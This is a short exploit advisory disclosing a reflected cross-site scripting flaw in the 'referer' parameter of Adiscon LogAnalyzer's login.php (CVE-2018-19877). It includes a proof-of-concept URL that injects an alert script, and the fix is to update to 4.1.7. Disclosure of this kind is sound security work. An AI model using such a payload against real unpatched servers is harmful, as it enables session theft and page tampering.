Adiscon LogAnalyzer < 4.1.7 - Cross-Site Scripting

# Exploit Title: Adiscon LogAnalyzer 4.1.7 - Cross-Site Scripting
# Date: 2018-12-05
# Software Link: *httpås://loganalyzer.adiscon.com/
# <https://loganalyzer.adiscon.com/> https://github.com/rsyslog/loganalyzer
# <https://github.com/rsyslog/loganalyzer>*
# Exploit Author: Gustavo Sorondo
# Contact: http://twitter.com/iampuky
# Website: http://cintainfinita.com/
# CVE: CVE-2018-19877
# Category: webapps

# 1. Description
# Adiscon LogAnalyzer  before 4.1.7 is affected by Cross-Site Scripting (XSS)
# in the 'referer' parameter of the login.php file.

# 2. Proof of Concept

http://my.loganalyzer.instance/login.php?referer=%22%3E%3Cscript%3Ealert('Cinta%20Infinita')%3C/script%3E

# 3. Solution:
# Update to version 4.1.7.
# https://loganalyzer.adiscon.com/news/loganalyzer-v4-1-7-v4-stable-released/